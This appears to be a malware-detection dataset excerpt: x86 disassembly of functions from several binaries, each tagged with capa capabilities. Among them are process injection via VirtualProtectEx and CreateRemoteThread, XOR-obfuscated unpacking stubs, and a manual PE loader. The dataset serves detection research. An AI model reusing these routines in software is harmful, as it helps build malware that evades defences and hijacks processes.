joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40230a
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x469d00]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.006:107_4:_00007:277_0:_004:_04:_008:_08:_08:_8:_7:2_3:_9:193_4:_
lea ecx, [ebp - 0x1c]
call fcn.00401648
push 0xc
call fcn.00404aab
pop ecx
test eax, eax
je 0x402343
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.004016a1
jmp 0x402345
xor eax, eax
mov esi, dword [eax + 4]
shl esi, 2
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
lea eax, [ebp - 0x20]
mov ebx, 0x4ac
mov edi, 0x469840
sub esi, 0x40
push eax
push 0x40
push ebx
push edi
push 0xffffffffffffffff
mov dword [ebp - 0x20], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push ebx
push edi
mov dword [ebp - 0x24], esi
call fcn.004020fc
push 0x39
push section..data
push 0x43800
mov esi, 0x426040
push esi
call fcn.00401c27
add esp, 0x18
lea eax, [ebp - 0x24]
push eax
xor eax, eax
push eax
push esi
push 0x4699c8
push eax
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CreateCaret]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
lea ecx, [ebp - 0x1c]
call fcn.00401fb0
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404ae9
leave
ret

Function at 0x4039ed
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x403a0e
jl 0x403a05
test edi, edi
jne 0x403a0e
xor eax, eax
xor edx, edx
jmp 0x403acf
cmp dword [ebx + 0x38], 0
je 0x403a23
push eax
push edi
push dword [ebp + 8]
call fcn.00403ad5
jmp 0x403acf
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x403a6a
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x403a6a
cmp eax, edi
jb 0x403a44
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.00405610
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x403a70
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x403ac4
mov ecx, ebx
call fcn.00403116
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x403aaf
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.0040a942
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x403ac4
jmp 0x403a82
test edx, edx
je 0x403ac4
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.0040a942
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc
Function at 0x411093
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00410f04

Function at 0x41148d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.004055e0
mov eax, dword [0x469d00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.004100f9
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x4114cf
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x41162b
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0041b320
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x46b620]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00412484
mov ecx, dword [esi*4 + 0x46b620]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x411624
cmp eax, dword [edi + ecx + 0x24]
jne 0x411624
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x411624
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00412484
add esp, 0x14
test edx, edx
jl 0x411624
jg 0x41159a
test eax, eax
jb 0x411624
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x411624
jl 0x4115b4
cmp dword [ebp - 0x1008], eax
ja 0x411624
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x4115d2
test ebx, ebx
je 0x41160b
cmp ecx, edi
jae 0x41160b
mov al, byte [ecx]
cmp al, 0xd
jne 0x4115ec
lea eax, [edi - 1]
cmp ecx, eax
jae 0x4115f8
cmp byte [ecx + 1], 0xa
jne 0x4115f8
inc ecx
jmp 0x4115f8
movzx eax, al
movsx eax, byte [eax + 0x469fb8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x4115d2
cmp edx, ebx
jne 0x4115d2
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x411629
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00404ae9
leave
ret
Function at 0x411922
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x46b620]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x411962
cmp byte [ebx], 0xa
jne 0x411962
or byte [eax + edi + 0x28], 4
jmp 0x411967
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x411a65
mov al, byte [edx]
cmp al, 0x1a
je 0x411a47
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x411996
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x4119bb
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x4119c5
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x411978
jmp 0x411a65
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x411a42
cmp dword [ebp - 0xc], 0
je 0x411a42
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x46b620]
test byte [eax + edi + 0x28], 0x48
je 0x411a1c
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x411a07
mov byte [esi], dl
jmp 0x411a18
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x46b620]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x411a65
cmp byte [ebp - 1], 0xa
jne 0x411a2b
cmp esi, ebx
jne 0x411a2b
mov byte [esi], 0xa
jmp 0x411a64
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004124a2
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x411a65
mov byte [esi], 0xd
jmp 0x411a64
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x46b620]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x411a61
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x411a65
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x411a6e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x46b620]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x411ab1
cmp word [esi], dx
jne 0x411ab1
or byte [edi + eax + 0x28], 4
jmp 0x411ab6
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x411c09
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x411be9
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x411af8
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x411b2e
cmp eax, edx
jae 0x411b3a
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x411ad0
jmp 0x411c09
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x411be5
cmp dword [ebp - 0x14], 0
je 0x411be5
mov eax, dword [ebx*4 + 0x46b620]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x411bbd
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x411b86
mov word [esi], cx
jmp 0x411bb9
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x46b620]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x46b620]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x46b620]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x411c09
pop ebx
cmp word [ebp - 4], bx
jne 0x411bce
cmp esi, dword [ebp + 0xc]
jne 0x411bce
mov word [esi], bx
jmp 0x411c06
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.004124a2
add esp, 0x10
cmp word [ebp - 4], bx
je 0x411c09
push 0xd
jmp 0x411c02
mov ecx, dword [ebx*4 + 0x46b620]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x411c00
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x411c09
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x10011023
Capabilities:
Terminate process

Disassembly:
jmp 0x1001cb00
jmp fcn.1001cb30
cmp ecx, dword [0x10021054]
jne 0x1001cb0a
repz ret
jmp 0x100110b9

Function at 0x10017f10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x10017f1f
pop dword [ebp - 0x38]
mov eax, 0xa98432fa
sub eax, 0x9982b3db
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x8602f0c3
add dword [ebp - 0x48], 0xc84f5488
mov dword [ebp - 0x44], 0xeb19bbad
add dword [ebp - 0x44], 0x47199098
mov dword [ebp - 0x40], 0x3e0f1eda
add dword [ebp - 0x40], 0xe3d2554
mov dword [ebp - 0x3c], 0x15267dbf
sub dword [ebp - 0x3c], 0x15267dbf
lea eax, [ebp - 0x48]
push eax
mov eax, 0xa18bd619
sub eax, 0x9189b42d
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x9b93862b
sub dword [ebp - 0x48], 0x27211cd5
mov dword [ebp - 0x44], 0x6bb03e2
sub dword [ebp - 0x44], 0xc54ea26d
mov dword [ebp - 0x40], 0x3ff06c40
add dword [ebp - 0x40], 0x237f002c
mov dword [ebp - 0x3c], 0x8e156402
add dword [ebp - 0x3c], 0x71ea9bfe
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0xe2e0416d
add eax, 0x2d21e083
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x362ff
push 0
call eax
mov ecx, 0x4987d111
sub ecx, 0x49878d1b
mov edi, eax
mov esi, 0xb11fb81
sub esi, 0xfb0fb181
add esi, dword [ebp - 0x38]
mov ebx, 0x2ab8c640
add ebx, 0x51173dd4
xor dword [ebp - 0xc], 0x9ac69a99
mov edx, dword [esi]
xor dword [ebp - 0x28], 0x45ab80aa
add edx, ebx
xor dword [ebp - 4], 0x90d7d6ff
mov dword [edi], edx
mov dword [ebp - 0x34], 0x57340497
add edi, 0x497e3271
sub edi, 0x497e326d
add esi, 4
loop 0x10018041
add eax, 0xef5a32e6
add eax, 0x10a6cfc5
mov ebx, eax
add eax, 0x40a34240
add eax, 0xbf5cbdc5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x476089
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x478f10
call fcn.004767c8
push 1
call fcn.0047632c
pop ecx
test al, al
jne 0x475f32
push 7
call fcn.00476593
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.004762f7
mov byte [ebp - 0x24], al
mov eax, dword [0x49dd84]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x475f2b
test eax, eax
jne 0x475f9c
mov dword [0x49dd84], ecx
push 0x4783d8
push 0x4783c8
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x475f7f
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x476083
push 0x4783c4
push 0x4783bc
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
pop ecx
pop ecx
mov dword [0x49dd84], 2
jmp 0x475fa1
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.00476489
pop ecx
call fcn.00476587
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x475fd1
push esi
call fcn.004763fc
pop ecx
test al, al
je 0x475fd1
push edi
push 2
push edi
mov esi, dword [esi]
mov ecx, esi
call fcn.004767c2
call esi
call fcn.0047658d
mov esi, eax
cmp dword [esi], edi
je 0x475fef
push esi
call fcn.004763fc
pop ecx
test al, al
je 0x475fef
push dword [esi]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
pop ecx
push edi
call sub.VCRUNTIME140.dll___telemetry_main_invoke_trigger
pop ecx
call fcn.004766a8
movzx eax, ax
push eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_narrow_winmain_command_line
push eax
push edi
push 0x400000
call main
mov esi, eax
push edi
call sub.VCRUNTIME140.dll___telemetry_main_return_trigger
pop ecx
call fcn.004766db
test al, al
jne 0x476028
push esi
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
test bl, bl
jne 0x476031
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
push edi
push 1
call fcn.004764a6
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x476083
call fcn.0047680e
ret
call fcn.00475da3
jmp 0x475f13

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x79296701
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
mov ecx, 0x7cf507a8
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x433084
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x1000aaa3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x1000aab2
pop dword [ebp - 0x4c]
mov eax, 0xb059c660
add eax, 0x5fa6e452
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x86e26af7
add dword [ebp - 0x5c], 0xc76fda54
mov dword [ebp - 0x58], 0x27c784df
add dword [ebp - 0x58], 0xa6bc766
mov dword [ebp - 0x54], 0x9a7ac4dc
sub dword [ebp - 0x54], 0x4e2e80ae
mov dword [ebp - 0x50], 0xead3a533
add dword [ebp - 0x50], 0x152c5acd
lea eax, [ebp - 0x5c]
push eax
mov eax, 0x6adec98a
add eax, 0xa521f69a
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xc178ac55
sub dword [ebp - 0x5c], 0x4d0642ff
mov dword [ebp - 0x58], 0xc59bb687
add dword [ebp - 0x58], 0x7bd0aaee
mov dword [ebp - 0x54], 0x4c4a57c1
sub dword [ebp - 0x54], 0xe8daeb55
mov dword [ebp - 0x50], 0xba7c490b
sub dword [ebp - 0x50], 0xba7c490b
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x36e17
push 0
call eax
mov ecx, 0xdf1480b6
sub ecx, 0xdf143d33
mov edx, eax
mov esi, 0x10047400
add esi, dword [ebp - 0x4c]
mov ebx, 0xf4030f5d
sub ebx, 0xfbf2fa8
mov dword [ebp - 0x34], 0xcdbb4409
mov edi, dword [esi]
add dword [ebp - 4], edi
add edi, ebx
mov dword [ebp - 0x30], 0x41010617
mov dword [edx], edi
xor dword [ebp - 0x48], 0x3cb15ce0
add edx, 0xb43a3ab0
sub edx, 0xb43a3aac
add esi, 0xf87ef5ae
sub esi, 0xf87ef5aa
loop 0x1000abc9
add eax, 0x1555a23a
add eax, 0xeaab5ea5
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xbfd5b762
add ecx, 0x502a489e
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x40f064
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
xor ebx, ebx
cmp byte [0x45265c], bl
je 0x40f098
push ebx
push dword [ebp + 8]
push ebx
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
cmp eax, ebx
je 0x40f094
cmp eax, 0x50
je 0x40f094
cmp eax, 0xb7
je 0x40f094
xor al, al
jmp 0x40f0b8
mov al, 1
jmp 0x40f0b8
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.0040ed13
push dword [eax]
call fcn.0040e933
push dword [ebp - 0xc]
mov bl, al
call fcn.0040c525
pop ecx
mov al, bl
pop ebx
leave
ret 4

Function at 0x40f0db
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x45265c], 0
je 0x40f109
push 0
push dword [ebp + 8]
call fcn.0040ef1c
test al, al
je 0x40f12b
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
neg eax
sbb eax, eax
neg eax
jmp 0x40f12b
push ebx
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.0040ed13
push dword [eax]
call fcn.0040e95a
push dword [ebp - 0xc]
mov bl, al
call fcn.0040c525
pop ecx
mov al, bl
pop ebx
leave
ret 4

Function at 0x40f52b
Capabilities:
Get common file path

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
push edi
mov edi, 0x105
push edi
mov ecx, esi
call fcn.0040ca41
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edi, dword [esi]
push edi
mov ebx, eax
call fcn.0040c7a6
mov byte [edi + eax], 0
mov dword [esi + 4], eax
dec ebx
mov eax, 0x103
cmp eax, ebx
pop edi
sbb eax, eax
pop esi
inc eax
pop ebx
ret 4

Function at 0x40f826
Capabilities:
Delete file

Disassembly:
push 0x10
mov eax, 0x4412bf
call fcn.0041efd5
xor ebx, ebx
lea ecx, [ebp - 0x18]
mov byte [ebp - 0x1c], bl
call fcn.0040c9f9
mov esi, dword [ebp + 0xc]
jmp 0x40f893
push dword [esi]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x40f8c1
push dword [esi]
call fcn.00410f86
test al, al
jne 0x40f873
push dword [esi]
call fcn.0040e91e
test al, al
jne 0x40f8d6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40f8c1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.0040ea1b
push dword [ebp - 0x18]
call fcn.0040c525
pop ecx
lea ecx, [ebp - 0x18]
mov byte [ebp - 0x1c], bl
call fcn.0040c9f9
push esi
push dword [ebp + 8]
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], ebx
call fcn.0040f78b
test al, al
jne 0x40f844
lea ecx, [ebp - 0x1c]
call fcn.0040ea1b
push dword [ebp - 0x18]
call fcn.0040c525
pop ecx
xor al, al
call fcn.0041f0ad
ret 8
lea ecx, [ebp - 0x1c]
call fcn.0040ea1b
push dword [ebp - 0x18]
call fcn.0040c525
pop ecx
mov al, bl
jmp 0x40f8b9
mov bl, 1
jmp 0x40f8c1
Function at 0x419d87
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax + 4], ebx
jne 0x419d2f
cmp dword [eax + 0xc], ebx
je 0x419dd2
mov edi, dword [eax + 0xc]
add edi, esi
push edi
call dword [ebp - 0xc0]
mov dword [ebp + 0xc], eax
call fcn.0041978a
insd dword es:[edi], dx
invalid
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
cmp eax, ebx
je 0x419dc0
test eax, 0x80000000
lea ecx, [eax + esi]
je 0x419d9b
and eax, 0xffff
push eax
jmp 0x419d9f
add ecx, 2
push ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0041974f
add esp, 0xc
cmp edi, ebx
mov dword [edi], eax
je 0x419f79
add edi, 4
add dword [ebp + 0x10], 4
jmp 0x419d80
add dword [ebp - 0x44], 0x14
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp - 0x44]
jmp 0x419d21
call fcn.0041978a
xchg ecx, eax
xlatb
outsb dx, byte [esi]
outsd dx, dword [esi]
mov eax, dword [edi + 0xa0]
cmp eax, ebx
je 0x419e3e
add eax, esi
Function at 0x419e32
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x419e3e
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x419e39
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x419e23
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x419e2b
cmp edx, ebx
jne 0x419f79
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x419dfa
add eax, dword [eax + 4]
jmp 0x419de7
mov dword [ebp + 0xc], ebx
jmp 0x419e49
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x419e61
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x419e7f
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x419edd
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x419ec4
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x419ecd
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x419ed7
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x419eb9
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x419e43
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x419f2a
dec eax
je 0x419f21
sub eax, 3
je 0x419f18
mov dword [ebp - 4], 0x40
jmp 0x419f47
mov dword [ebp - 4], 4
jmp 0x419f2d
mov dword [ebp - 4], 0x20
jmp 0x419f2d
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x419f79
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x419ef9
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.0041978a
pop esp
rcl byte [eax + 0x2d], cl
push dword [ebp + 0x14]
push 1
push esi
call edi
mov eax, esi
jmp 0x419f85
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret